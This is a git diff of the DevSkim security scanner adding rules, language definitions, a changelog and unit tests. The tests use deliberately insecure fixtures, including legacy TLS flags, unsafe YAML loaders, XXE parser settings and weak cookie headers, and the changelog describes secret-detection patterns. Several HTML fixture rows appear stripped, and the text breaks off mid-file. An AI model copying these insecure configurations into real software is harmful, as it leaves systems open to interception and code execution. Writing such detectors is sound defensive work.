diff --git a/Changelog.md b/Changelog.md index 0b51833e..384b8ae0 100644 --- a/Changelog.md +++ b/Changelog.md @@ -4,6 +4,51 @@ All notable changes to this project will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [1.0.100] - 2026-09-22 +### Added +- Added Kubernetes Security Baseline rules (`DS200000`-`DS200007`) covering privileged containers, privilege escalation, host namespace sharing, writable root filesystems, running as root, unpinned images, dangerous Linux capabilities, and `hostPath` volumes. These are the first rules to use the engine's `ymlpaths` support, which no shipped rule had used. +- Added package source rules `DS205000` (a `nuget.config` `` with no ``, so the sources are added to those inherited from machine and user level configuration rather than replacing them) and `DS205001` (`--extra-index-url`, `PIP_EXTRA_INDEX_URL`, and the `extra-index-url` setting in `pip.conf`/`pip.ini`). +- Added `DS114352`, which detects connection strings that leave transport encryption optional (`Encrypt=False`, `TrustServerCertificate=True`, `sslmode=prefer`/`allow`/`disable`, MySQL `SslMode=Preferred`/`None`, JDBC `useSSL=false`). Guidance for this rule was already in the repository but no rule referenced it. +- Added secret detection for PEM private key blocks (`DS173238`), provider access tokens from GitHub, Google, Slack, Stripe, npm, SendGrid and GitLab, plus AWS secret access keys (`DS173239`; a bare `AKIA` key ID is not a credential and is not reported), and Azure Storage account keys and shared access signatures (`DS173240`). The two existing secret rules keyed on 30 or more lowercase hex characters and matched none of these formats. +- Added `DS610000` for anchors using `target="_blank"` without `rel="noopener noreferrer"`. Its guidance was already present but the rule could not be written because no `html` language existed. +- Added `DS610001` for literal `Set-Cookie` headers missing any of `Secure`, `HttpOnly`, or a valid explicit `SameSite` attribute, and `DS610002` for literal `Strict-Transport-Security` headers missing a `max-age` of at least one year or `includeSubDomains`. Both use boolean expressions so partially hardened headers are reported and each header is judged on its own directives. +- Added deserialization rules for the libraries ADM.10010 names as unapproved: Python `torch.load`, `joblib.load`, `dill.load` and `marshal` (`DS425050`); PyYAML `yaml.load` without a safe loader (`DS425060`); .NET `BinaryFormatter`, `SoapFormatter`, `NetDataContractSerializer`, `LosFormatter` and `ObjectStateFormatter` (`DS425070`); `JavaScriptSerializer` and `SimpleTypeResolver` (`DS425080`); and Boost Property Tree (`DS425090`). +- Added XXE rules for .NET `DtdProcessing.Parse` and `ProhibitDtd = false` (`DS132782`), .NET `XmlResolver` assignment (`DS132783`), Java parser factories with no hardening feature anywhere in the file (`DS132784`), PHP `libxml_disable_entity_loader(false)` and `LIBXML_NOENT` (`DS132785`), and lxml entity resolution (`DS132786`). Previous coverage was Objective-C and Swift only. +- Added `DS154190` (the `IsBad*Ptr` family), `DS154191` (`CopyMemory` and `RtlCopyMemory`), `DS154192` (`strlen`, `wcslen`, `_tcslen`, `lstrlen`) and `DS154193` (Objective-C method swizzling). +- Added `html`, `razor`, `dockerfile`, `terraform`, `bicep`, `kotlin`, `scala`, `dart`, `toml`, `gradle`, `msbuild` (`.props`/`.targets`), `dotenv`, `makefile`, `pem`, `pip-requirements` and `pip-config` language definitions with matching comment syntax. 32 rules declare no `applies_to` and so apply to every known language, meaning each addition extends those rules to a file type that was previously skipped. +- Added `file-names` entries so extensionless and fixed-name files are scanned. `Dockerfile`, `Makefile`, `Cargo.toml`, `id_rsa`, `requirements.txt` and `pip.conf` are not reachable by extension matching alone. +- Added `must-match` self-tests to the 32 rules that had none. Every rule now has a positive self-test. + +### Changed +- **Breaking for custom rules.** `.cshtml` and `.razor` now resolve to the `razor` language instead of `csharp`, so a rule declaring only `"applies_to": ["csharp"]` no longer runs against Razor files. Every rule shipped here names both languages; rule authors maintaining their own rulesets must add `"razor"` alongside `"csharp"` to keep their Razor coverage. +- Moved to `Microsoft.CST.ApplicationInspector.RulesEngine` and `...Logging` 1.10.2. This is the first release carrying the boolean expression support from [ApplicationInspector#654](https://github.com/microsoft/ApplicationInspector/pull/654), plus rules-engine fixes for string patterns always reporting pattern index 0, conditions being judged only against the first capture, the async path over-reporting by taking a union rather than an intersection, override suppression using different overlap rules on the sync and async paths, and verifier/analyzer disagreement for rules combining expressions and conditions. The override change affects DevSkim in particular, since 38 rules use `overrides` and the sync path now requires full containment; every override pair was brought into containment ahead of the bump. +- Extended `DS154189` from 80 to 178 alternatives. Comparing the shipped rules against the 194 APIs enumerated in ADM.10082 found 113 that DevSkim did not report: 108 absent, and 5 present only in the wrong case, which `RegexWord` does not match. +- Moved `wcslen` and `_tcslen` from `DS154189` into `DS154192` so the same defect is not reported at two different severities depending on which variant is used. +- Added `javascriptreact` and `typescriptreact` to the rules that target `javascript` or `typescript`, including `DS114352`. Both languages were already defined and mapped to `.jsx` and `.tsx`, but no rule named them, so React source received none of those rules. +- `DS200001` now reports a container that does not set `allowPrivilegeEscalation: false`, rather than only an explicit `true`. Kubernetes defaults the field to `true` when it is omitted, so the common insecure manifest previously received a clean result. An explicit non-`false` value is still reported on its own container; the omission check is evaluated per file, which the guidance records. +- Narrowed the hard-coded TLS rules so version-flexible and hardening APIs are no longer reported: `SSL_CTX_config` and the other configuration loaders, `TLS_client_method`/`TLS_server_method`/`TLS_method`, `SSL_CTX_new`, `SSL_stateless`, and the catch-all `SSL_OP_*` alternative that matched hardening options such as `SSL_OP_NO_COMPRESSION`. Explicit protocol versions and insecure security levels still report, and the former positive self-tests are now negative fixtures. + +### Fix +- Fixed the four rules that were never shipped. `android.json` (`DS180000`, `DS180001`, `DS180002`) and `xslt_scripting.json` (`DS132781`) were missing from the hand-maintained `` list in `Microsoft.DevSkim.csproj`, so they were absent from the default rule set. This is also why their dangling `rule_info` references never failed CI, since the tests iterate the shipped set. Their missing guidance has been written. +- Fixed `DS180000`, which bound the default XML namespace to the Maven POM namespace and matched `//default:application`. A real `AndroidManifest.xml` has no default namespace, so the rule could not fire on one; its self-test used a manifest with the Maven namespace and therefore passed while testing a document shape that does not occur. +- Fixed `DS132781`, which declared `applies_to: ["CSharp"]`. Language names are matched exactly against `languages.json`, which defines `csharp`, so the rule reported nothing. +- Fixed `DS191340`, which used `$1` as a backreference. .NET spells that `\1`, and `$` is an end-of-line anchor, so the pattern could never match. It now matches `setObject:forKey:` and `setValue:forKey:`; `NSUserDefaults` has no `setString:forKey:`, which the previous pattern and self-test used. +- Fixed `DS440016`'s `--(sslv2|sslv3|tlsv1|tlsv11|tlsv1\.1|tlsv1\.2)` alternation, which was ordered shortest-first. .NET alternation is leftmost-first rather than longest-match, so `tlsv1` always won and the `tlsv11`, `tlsv1\.1` and `tlsv1\.2` branches were unreachable; `curl --tlsv1.1` reported a span covering only `--tlsv1`. Its `--secure-protocol=` pattern was also typed as `string` and therefore word-boundary anchored, so `wget --secure-protocol=SSLv3` was not reported at all. The two `DS440016` entries are now one boolean-expression rule that keeps the shared suppression ID and exempts a curl flag only when `--tlsv1.3` appears in the same shell command, so a later TLS 1.3 command on the line no longer hides an earlier insecure one. +- Repointed `DS140021` (`strlen`) from `DS154189` to `DS154192`. `strlen` moved into `DS154192` in this release, which left the old override inert and made `strlen(s)` report twice at the same severity. +- Gave the two unrelated rules that both used the ID `DS440011` distinct IDs. SARIF emits one `tool.driver.rules` entry per rule ID, so findings from the `hardcoded_tls.json` rule were reported with the other rule's name and a `helpUri` pointing at the wrong guidance document, and suppressing either ID suppressed both. The `hardcoded_tls.json` rule is now `DS440017`. +- Removed `DS440060`, which had an empty `patterns` array and so could not produce a finding while still occupying an entry in SARIF tool metadata. +- Normalised `DS450003`'s severity from `manualreview` to `ManualReview`. +- Registered comment syntax for JSX, TSX and Razor, and corrected the Objective-C entry from `objective-C` to `objective-c`. The language name is compared case-sensitively, so Objective-C files had no comment prefix at all and every rule scanned their comments as code. Generated suppressions for React files were also emitted without a comment prefix. +- Gave `terraform` its own comment entry so `/* ... */` blocks are recognised alongside `#`. HCL also accepts `//` line comments, which the engine cannot express because it resolves a single inline marker per language. +- Corrected rule edge cases for untagged images from registries with ports, case-insensitive connection-string options, NuGet `` scoping restricted to a real child of ``, pip extra indexes in dotenv, Dockerfile, requirements and pip config inputs, and `rel` tokens scoped to individual HTML anchors. +- Added F# assignment syntax to the .NET XXE rules, and made them case-insensitive so idiomatic Visual Basic `False` and `New` are matched. Made the lxml rule report each unsafe parser option independently, so the documented safe configuration is no longer reported when it spans multiple lines. +- Scoped the PyYAML safe-loader exemption to the matching call, so a nested unsafe `yaml.load` inside a safe outer call is still reported and list, set or dictionary contents are not mistaken for a loader argument. +- Kept raw cookie and HSTS findings within physical or escaped header line boundaries, so attributes from a neighbouring header cannot satisfy the rule, and accepted quoted values and apostrophes without truncating the header. Dynamically concatenated header values are still skipped. +- Validated HSTS directive structure so quoted extension values cannot supply required protections and repeated `max-age` or `includeSubDomains` directives are reported. +- Restricted HTML link protection checks to the same opening anchor tag and its actual attributes, including multiline attributes and case-insensitive HTML names. +- Recognised the supported YAML boolean spellings in the Kubernetes security settings. +- Corrected guidance that misdescribed behaviour: `DS154191` no longer claims to detect plain `memcpy`, `DS200005` shows a real admission policy instead of repeating `imagePullPolicy`, `DS425050` no longer attributes code execution to `marshal`, and `DS425060` describes PyYAML 6 requiring the `Loader` argument. + ## [1.0.99] - 2026-09-21 ### Fix - Fixed rule DS440011 (OpenSSL cipher-suite names such as `ECDHE-RSA-AES256-GCM-SHA384`) taking quadratic time on a long unbroken run of cipher-name characters. The middle `[A-Z0-9\-]+-?` group backtracked from every cipher-name prefix (`AES`, `DH`, `DES`, ...) found in the run, so a single 100 KB line such as `AES-AES-AES-...` took about 13 seconds and a 400 KB line took several minutes, hanging the scan. The run is now bounded to 64 characters (`[A-Z0-9\-]{1,64}`), which is longer than any real cipher-suite name, and the redundant `-?` was dropped because `-` is already in the character class. Match spans are unchanged for real OpenSSL cipher names. diff --git a/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj b/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj index 3da91a46..396bed15 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj +++ b/DevSkim-DotNet/Microsoft.DevSkim.CLI/Microsoft.DevSkim.CLI.csproj @@ -50,7 +50,7 @@ - + diff --git a/DevSkim-DotNet/Microsoft.DevSkim.Tests/DefaultRulesTests.cs b/DevSkim-DotNet/Microsoft.DevSkim.Tests/DefaultRulesTests.cs index ef8a4c98..e08168ce 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim.Tests/DefaultRulesTests.cs +++ b/DevSkim-DotNet/Microsoft.DevSkim.Tests/DefaultRulesTests.cs @@ -65,6 +65,275 @@ public void ValidateDefaultRules() Assert.IsFalse(result.DevSkimRuleStatuses.Any(x => x.Errors.Any())); } + [TestMethod] + public void RazorLanguagePreservesCSharpAndHtmlCoverage() + { + var languages = DevSkimLanguages.LoadEmbedded(); + Assert.IsTrue(languages.FromFileNameOut("view.cshtml", out var cshtml)); + Assert.AreEqual("razor", cshtml.Name); + Assert.IsTrue(languages.FromFileNameOut("component.razor", out var razor)); + Assert.AreEqual("razor", razor.Name); + Assert.AreEqual("//", languages.GetCommentInline("razor")); + Assert.AreEqual("", languages.GetCommentSuffix("razor")); + + DevSkimRuleSet ruleSet = DevSkimRuleSet.GetDefaultRuleSet(); + string[] missingRazorCoverage = ruleSet + .Where(rule => rule.AppliesTo?.Contains("csharp") == true && rule.AppliesTo?.Contains("razor") != true) + .Select(rule => rule.Id) + .ToArray(); + Assert.AreEqual(0, missingRazorCoverage.Length, $"C# rules missing Razor coverage: {string.Join(", ", missingRazorCoverage)}"); + CollectionAssert.Contains(ruleSet.Single(rule => rule.Id == "DS610000").AppliesTo?.ToList(), "razor"); + } + + [TestMethod] + [DataRow("curl --tlsv1.2 https://example.com", 1)] + [DataRow("curl --tlsv1.3 https://example.com", 0)] + [DataRow("curl --tlsv1.2 --tlsv1.3 https://example.com", 0)] + [DataRow("curl --tlsv1.2 https://example.com\ncurl --tlsv1.3 https://example.com", 1)] + [DataRow("wget --secure-protocol=SSLv3 https://example.com; curl --tlsv1.3 https://example.com", 1)] + public void BooleanExpressionVerifierMatchesAnalyzer(string content, int expectedFindings) + { + string rule = @"[{ + ""name"": ""Boolean TLS condition"", + ""id"": ""DS440016"", + ""description"": ""Match guarded curl flags and unguarded wget flags."", + ""recommendation"": ""Maintain TLS protocol agility."", + ""severity"": ""ManualReview"", + ""confidence"": ""high"", + ""tags"": [ ""Cryptography.Protocol.TLS.Hard-Coded"" ], + ""patterns"": [ + { ""pattern"": ""--tlsv1"", ""type"": ""substring"", ""scopes"": [ ""code"" ], ""label"": ""curlFlag"" }, + { ""pattern"": ""--secure-protocol=\\S*"", ""type"": ""regex"", ""scopes"": [ ""code"" ], ""label"": ""wgetFlag"" } + ], + ""conditions"": [ + { + ""pattern"": { ""pattern"": ""--tlsv1.3"", ""type"": ""substring"", ""scopes"": [ ""code"" ] }, + ""negate_finding"": false, + ""search_in"": ""same-line"", + ""label"": ""tls13"" + } + ], + ""expression"": ""(curlFlag AND NOT tls13) OR wgetFlag"", + ""must-match"": [ + ""curl --tlsv1.2 https://example.com"", + ""wget --secure-protocol=SSLv3 https://example.com; curl --tlsv1.3 https://example.com"" + ], + ""must-not-match"": [ ""curl --tlsv1.3 https://example.com"" ] +}]"; + DevSkimRuleSet ruleSet = new DevSkimRuleSet(); + ruleSet.AddString(rule, "testRules"); + var verifier = new DevSkimRuleVerifier(new DevSkimRuleVerifierOptions() + { + LanguageSpecs = DevSkimLanguages.LoadEmbedded() + }); + DevSkimRulesVerificationResult result = verifier.Verify(ruleSet); + Assert.IsTrue(result.Verified, string.Join(Environment.NewLine, result.Errors.SelectMany(status => status.Errors))); + + var analyzer = new DevSkimRuleProcessor(ruleSet, new DevSkimRuleProcessorOptions() + { + SeverityFilter = ApplicationInspector.RulesEngine.Severity.ManualReview + }); + Assert.AreEqual(expectedFindings, analyzer.Analyze(content, "test.sh").Count()); + } + + [TestMethod] + [DataRow("DS440016", "test.sh", "curl --tlsv1.2 https://example.com", 1)] + [DataRow("DS440016", "test.sh", "curl --tlsv1.3 https://example.com", 0)] + [DataRow("DS440016", "test.sh", "wget --secure-protocol=SSLv3 https://example.com; curl --tlsv1.3 https://example.com", 1)] + [DataRow("DS440016", "test.sh", "curl --tlsv1.1 https://old.example.com; curl --tlsv1.3 https://new.example.com", 1)] + [DataRow("DS440016", "test.sh", "curl --tlsv1.2 --tlsv1.3 https://example.com", 0)] + [DataRow("DS205001", ".env", "PIP_EXTRA_INDEX_URL=https://pypi.org/simple", 1)] + [DataRow("DS205001", "Dockerfile", "ENV PIP_EXTRA_INDEX_URL=https://pypi.org/simple", 1)] + [DataRow("DS132782", "parser.fs", "settings.DtdProcessing <- DtdProcessing.Parse", 1)] + [DataRow("DS132782", "parser.fs", "settings.ProhibitDtd <- false", 1)] + [DataRow("DS132783", "parser.fs", "settings.XmlResolver <- new XmlUrlResolver()", 1)] + [DataRow("DS132786", "parser.py", "parser = etree.XMLParser(resolve_entities=False, load_dtd=True)", 1)] + [DataRow("DS132786", "parser.py", "parser = etree.XMLParser(load_dtd=False, no_network=True)", 0)] + [DataRow("DS610000", "view.cshtml", "Open", 1)] + [DataRow("DS610000", "view.razor", "", 0)] + [DataRow("DS610000", "view.razor", "// Open", 0)] + [DataRow("DS610000", "index.html", "Unsafe Safe", 1)] + [DataRow("DS610000", "index.html", "noopener Unsafe", 1)] + [DataRow("DS610000", "index.html", "Unsafe", 1)] + [DataRow("DS610000", "index.html", "Safe", 0)] + [DataRow("DS610001", "headers.js", "response.setHeader(\"Set-Cookie\", \"sid=one; Secure\");", 1)] + [DataRow("DS610001", "headers.js", "response.setHeader(\"Set-Cookie\", \"sid=one; Secure; HttpOnly; SameSite=Lax\");", 0)] + [DataRow("DS610001", "headers.js", "response.setHeader(\"Set-Cookie\", \"sid=one; Secure\"); response.setHeader(\"Set-Cookie\", \"other=two; HttpOnly; SameSite=Lax\");", 2)] + [DataRow("DS610001", "headers.js", "response.setHeader(\"Set-Cookie\", \"sid=one; Secure\"); response.setHeader(\"Set-Cookie\", \"other=two; Secure; HttpOnly; SameSite=Lax\");", 1)] + [DataRow("DS610001", "headers.js", "response.setHeader(\n \"Set-Cookie\",\n \"sid=one; Secure; HttpOnly; SameSite=Strict\"\n);", 0)] + [DataRow("DS610001", "headers.cs", "Response.Headers[\"Set-Cookie\"] = \"sid=one; HttpOnly; SameSite=Lax\";", 1)] + [DataRow("DS610001", "headers.json", "{\"Set-Cookie\": \"sid=one; Secure; HttpOnly; SameSite=Lax\"}", 0)] + [DataRow("DS610001", "headers.php", "", 1)] + [DataRow("DS205000", "NuGet.config", "", 1)] + [DataRow("DS205000", "NuGet.config", "", 0)] + [DataRow("DS132786", "parser.py", "parser = etree.XMLParser(\n resolve_entities=False,\n load_dtd=False,\n no_network=True,\n)", 0)] + [DataRow("DS132786", "parser.py", "parser = etree.XMLParser(load_dtd=False)", 0)] + [DataRow("DS132786", "parser.py", "parser = etree.XMLParser(no_network=True)", 0)] + [DataRow("DS132786", "parser.py", "parser = etree.XMLParser(resolve_entities=True, no_network=True)", 1)] + [DataRow("DS425060", "loader.py", "config = yaml.load(\n stream,\n Loader=yaml.SafeLoader\n)", 0)] + [DataRow("DS425060", "loader.py", "config = yaml.load(\n open('config.yml'),\n Loader=yaml.CSafeLoader,\n)", 0)] + [DataRow("DS425060", "loader.py", "config = yaml.load(stream, yaml.BaseLoader)", 0)] + [DataRow("DS425060", "loader.py", "config = yaml.load(stream,\n # Select a safe loader\n Loader=yaml.SafeLoader\n)", 0)] + [DataRow("DS425060", "loader.py", "config = yaml.load(stream); other = yaml.load(stream, Loader=yaml.SafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "config = yaml.load(stream, Loader=get_loader(Loader=yaml.SafeLoader))", 1)] + [DataRow("DS425060", "loader.py", "config = yaml.load('Loader=yaml.SafeLoader', Loader=yaml.UnsafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "config = yaml.load(stream,\n # Loader=yaml.SafeLoader\n Loader=yaml.UnsafeLoader\n)", 1)] + [DataRow("DS425060", "loader.py", "config = yaml.load(SafeLoader, Loader=yaml.UnsafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "yaml.load(yaml.load(data, Loader=yaml.UnsafeLoader), Loader=yaml.SafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "yaml.load(yaml.load(data, Loader=yaml.UnsafeLoader), Loader=yaml.UnsafeLoader)", 2)] + [DataRow("DS425060", "loader.py", "yaml.load(yaml.load(data, Loader=yaml.SafeLoader), Loader=yaml.SafeLoader)", 0)] + [DataRow("DS425060", "loader.py", "yaml.load_all(yaml.load(data, Loader=yaml.UnsafeLoader), Loader=yaml.SafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "yaml.load([data, yaml.SafeLoader, None][0], Loader=yaml.UnsafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "yaml.load({data, yaml.SafeLoader, None}.pop(), Loader=yaml.UnsafeLoader)", 1)] + [DataRow("DS425060", "loader.py", "yaml.load([data, yaml.UnsafeLoader, None][0], Loader=yaml.SafeLoader)", 0)] + [DataRow("DS425060", "loader.py", "yaml.load({'document': data}['document'], Loader=yaml.CSafeLoader)", 0)] + [DataRow("DS425060", "loader.py", "yaml.load([data, None][0], yaml.SafeLoader)", 0)] + [DataRow("DS610000", "links.html", "OpenAbout", 1)] + [DataRow("DS610000", "links.html", "Open", 0)] + [DataRow("DS610000", "links.html", "Open", 1)] + [DataRow("DS610000", "links.html", "Open", 1)] + [DataRow("DS610000", "links.html", "Open", 0)] + [DataRow("DS610000", "links.html", "Open", 0)] + [DataRow("DS610000", "links.html", "Open", 0)] + [DataRow("DS610000", "links.html", " y\" target=_blank rel=noreferrer>Open", 0)] + [DataRow("DS610000", "links.html", "Open", 0)] + [DataRow("DS610000", "links.tsx", "Open", 0)] + [DataRow("DS610001", "headers.php", " !issue.IsSuppressionInfo)); + } + + [TestMethod] + [DataRow("component.jsx")] + [DataRow("component.tsx")] + public void ReactSuppressionUsesCommentSyntax(string fileName) + { + Assert.AreEqual("// DevSkim: ignore DS189424", DevSkimRuleProcessor.GenerateSuppressionByFileName(fileName, "DS189424")); + Assert.AreEqual("/* DevSkim: ignore DS189424 */", DevSkimRuleProcessor.GenerateSuppressionByFileName(fileName, "DS189424", preferMultiLine: true)); + } + [TestMethod] public void DenamespacedRule() { diff --git a/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj b/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj index ce581caa..4e75ea94 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj +++ b/DevSkim-DotNet/Microsoft.DevSkim/Microsoft.DevSkim.csproj @@ -24,7 +24,7 @@ - + 3.7.115 @@ -50,6 +50,9 @@ rules\default\security\attack_surface\outbound_network.json + + rules\default\security\containers\kubernetes.json + rules\default\security\control_flow\dynamic_execution.json @@ -65,6 +68,9 @@ rules\default\security\cryptography\ciphers.json + + rules\default\security\cryptography\connection_strings.json + rules\default\security\cryptography\general.json @@ -89,6 +95,9 @@ rules\default\security\cryptography\weak_cipher_modes.json + + rules\default\security\frameworks\android.json + rules\default\security\frameworks\aspnet5.json @@ -119,6 +128,9 @@ rules\default\security\storage\secure_storage.json + + rules\default\security\supplychain\package_sources.json + rules\default\security\TLS\tls_appconfig.json @@ -164,9 +176,18 @@ rules\default\security\vulnerable_libraries\microsoft_nuget.json + + rules\default\security\web\html_links.json + + + rules\default\security\web\http_headers.json + rules\default\security\xml\external_entities.json + + rules\default\security\xml\xslt_scripting.json + rules\default\correctness\datetime.json diff --git a/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json b/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json index e892c1dd..20c2a079 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json +++ b/DevSkim-DotNet/Microsoft.DevSkim/resources/comments.json @@ -9,13 +9,20 @@ "go", "groovy", "jade", - "objective-C", + "objective-c", "rust", "swift", "javascript", + "javascriptreact", "java", "typescript", - "php" + "typescriptreact", + "php", + "kotlin", + "scala", + "dart", + "bicep", + "gradle" ], "inline": "//", "prefix": "/*", @@ -25,7 +32,7 @@ "language": [ "plaintext" ], - "always": true + "always": true }, { "language": [ @@ -36,12 +43,27 @@ "ruby", "yaml", "powershell", - "python" + "python", + "dockerfile", + "toml", + "dotenv", + "makefile", + "pem", + "pip-requirements", + "pip-config" ], "inline": "#", "prefix": "#", "suffix": "\n" }, + { + "language": [ + "terraform" + ], + "inline": "#", + "prefix": "/*", + "suffix": "*/" + }, { "language": [ "lua", @@ -74,5 +96,21 @@ "inline": "::", "prefix": "Rem", "suffix": "\n" + }, + { + "language": [ + "razor" + ], + "inline": "//", + "prefix": "" + }, + { + "language": [ + "html", + "msbuild" + ], + "prefix": "" } ] \ No newline at end of file diff --git a/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json b/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json index b4665a5c..15940a79 100644 --- a/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json +++ b/DevSkim-DotNet/Microsoft.DevSkim/resources/languages.json @@ -1,150 +1,399 @@ [ + { + "name": ".config", + "extensions": [ + ".config" + ] + }, { "name": "batch", - "extensions": [ ".bat" ] + "extensions": [ + ".bat" + ] + }, + { + "name": "bicep", + "extensions": [ + ".bicep" + ] }, { "name": "c", - "extensions": [ ".c", ".h" ] + "extensions": [ + ".c", + ".h" + ] + }, + { + "name": "clojure", + "extensions": [ + ".clj", + ".cljs", + ".cljc", + ".edn" + ] + }, + { + "name": "cobol", + "extensions": [ + ".cbl", + ".cob", + ".cpy" + ] + }, + { + "name": "coffeescript", + "extensions": [ + ".coffee" + ] }, { "name": "cpp", - "extensions": [ ".cpp", ".hpp", ".cc", ".hh", ".cxx", ".hxx", ".inl", ".h" ] + "extensions": [ + ".cpp", + ".hpp", + ".cc", + ".hh", + ".cxx", + ".hxx", + ".inl", + ".h" + ] }, { "name": "csharp", - "extensions": [ ".cs", ".cshtml", ".razor" ] + "extensions": [ + ".cs" + ] }, { - "name": "vb", - "extensions": [ ".vb" ] + "name": "razor", + "extensions": [ + ".cshtml", + ".razor" + ] }, { - "name": "python", - "extensions": [ ".py" ] + "name": "CSharp Project", + "extensions": [ + ".csproj" + ] }, { - "name": "javascript", - "extensions": [ ".js" ] + "name": "dart", + "extensions": [ + ".dart" + ] }, { - "name": "javascriptreact", - "extensions": [ ".jsx" ] + "name": "dockerfile", + "extensions": [ + ".dockerfile" + ], + "file-names": [ + "dockerfile", + "containerfile" + ] }, { - "name": "typescript", - "extensions": [ ".ts" ] + "name": "dotenv", + "extensions": [ + ".env" + ], + "file-names": [ + ".env", + ".env.local", + ".env.production", + ".env.development" + ] }, { - "name": "typescriptreact", - "extensions": [ ".tsx" ] + "name": "fsharp", + "extensions": [ + ".fs" + ] }, { - "name": "coffeescript", - "extensions": [ ".coffee" ] + "name": "go", + "extensions": [ + ".go" + ] }, { - "name": "java", - "extensions": [ ".java" ] + "name": "gradle", + "extensions": [ + ".gradle" + ], + "file-names": [ + "gradlew" + ] }, { - "name": "objective-c", - "extensions": [ ".m" ] + "name": "groovy", + "extensions": [ + ".groovy" + ] }, { - "name": "swift", - "extensions": [ ".swift" ] + "name": "html", + "extensions": [ + ".html", + ".htm", + ".xhtml", + ".vbhtml" + ] }, { - "name": "perl", - "extensions": [ ".pl", ".pm", ".t", ".pod" ] + "name": "jade", + "extensions": [ + ".jade" + ] }, { - "name": "perl6", - "extensions": [ ".pl6", ".p6", ".pm6" ] + "name": "java", + "extensions": [ + ".java" + ] }, { - "name": "ruby", - "extensions": [ ".rb" ] + "name": "javascript", + "extensions": [ + ".js" + ] }, { - "name": "lua", - "extensions": [ ".lua" ] + "name": "javascriptreact", + "extensions": [ + ".jsx" + ] }, { - "name": "groovy", - "extensions": [ ".groovy" ] + "name": "json", + "extensions": [ + ".json" + ] }, { - "name": "go", - "extensions": [ ".go" ] + "name": "kotlin", + "extensions": [ + ".kt", + ".kts" + ] }, { - "name": "rust", - "extensions": [ ".rs" ] + "name": "lua", + "extensions": [ + ".lua" + ] }, { - "name": "jade", - "extensions": [ ".jade" ] + "name": "makefile", + "extensions": [ + ".mk" + ], + "file-names": [ + "makefile", + "gnumakefile" + ] }, { - "name": "clojure", - "extensions": [ ".clj", ".cljs", ".cljc", ".edn" ] + "name": "msbuild", + "extensions": [ + ".props", + ".targets" + ] }, { - "name": "r", - "extensions": [ ".r" ] + "name": "objective-c", + "extensions": [ + ".m" + ] }, { - "name": "yaml", - "extensions": [ ".yaml", ".yml" ] + "name": "packages.config", + "extensions": [ + "packages.config" + ] + }, + { + "name": "pem", + "extensions": [ + ".pem", + ".key", + ".crt", + ".cer", + ".csr", + ".p7b", + ".asc" + ], + "file-names": [ + "id_rsa", + "id_dsa", + "id_ecdsa", + "id_ed25519", + "identity" + ] }, { - "name": "fsharp", - "extensions": [ ".fs" ] + "name": "perl", + "extensions": [ + ".pl", + ".pm", + ".t", + ".pod" + ] + }, + { + "name": "perl6", + "extensions": [ + ".pl6", + ".p6", + ".pm6" + ] }, { "name": "php", - "extensions": [ ".php" ] + "extensions": [ + ".php" + ] + }, + { + "name": "pip-config", + "extensions": [], + "file-names": [ + "pip.conf", + "pip.ini" + ] + }, + { + "name": "pip-requirements", + "extensions": [], + "file-names": [ + "requirements.txt", + "requirements-dev.txt", + "requirements-test.txt", + "requirements.in", + "constraints.txt" + ] + }, + { + "name": "plaintext", + "extensions": [ + ".txt" + ] }, { "name": "powershell", - "extensions": [ ".ps1", ".psm1", ".psd1" ] + "extensions": [ + ".ps1", + ".psm1", + ".psd1" + ] + }, + { + "name": "python", + "extensions": [ + ".py" + ] + }, + { + "name": "r", + "extensions": [ + ".r" + ] + }, + { + "name": "ruby", + "extensions": [ + ".rb" + ] + }, + { + "name": "rust", + "extensions": [ + ".rs" + ] + }, + { + "name": "scala", + "extensions": [ + ".scala", + ".sc" + ] }, { "name": "shellscript", - "extensions": [ ".sh" ] + "extensions": [ + ".sh" + ], + "file-names": [ + ".bashrc", + ".bash_profile", + ".profile", + ".zshrc" + ] }, { "name": "sql", - "extensions": [ ".sql" ] + "extensions": [ + ".sql" + ] }, { - "name": "plaintext", - "extensions": [ ".txt" ] + "name": "swift", + "extensions": [ + ".swift" + ] }, { - "name": ".config", - "extensions": [ ".config" ] + "name": "terraform", + "extensions": [ + ".tf", + ".tfvars" + ] }, { - "name": "packages.config", - "extensions": [ "packages.config" ] + "name": "toml", + "extensions": [ + ".toml" + ], + "file-names": [ + "cargo.toml", + "pyproject.toml" + ] }, { - "name": "CSharp Project", - "extensions": [ ".csproj" ] + "name": "typescript", + "extensions": [ + ".ts" + ] }, { - "name": "cobol", - "extensions": [ ".cbl", ".cob", ".cpy" ] + "name": "typescriptreact", + "extensions": [ + ".tsx" + ] }, { - "name": "json", - "extensions": [ ".json" ] + "name": "vb", + "extensions": [ + ".vb" + ] }, { "name": "xml", - "extensions": [ ".xml" ] + "extensions": [ + ".xml" + ] + }, + { + "name": "yaml", + "extensions": [ + ".yaml", + ".yml" + ], + "file-names": [ + ".gitlab-ci.yml" + ] } ] diff --git a/guidance/DS114352.md b/guidance/DS114352.md index a2da3921..db815828 100644 --- a/guidance/DS114352.md +++ b/guidance/DS114352.md @@ -1,11 +1,71 @@ -## Encryption Marked 'Optional' +# Encryption Marked Optional -### Summary -Optional encryption or integrity checking can be dangerous. +## Summary -### Details -TO DO - put more details of problem and solution here +* A connection string leaves transport encryption optional, or disables certificate validation. +* Require encryption and validate the certificate: `Encrypt=True` with + 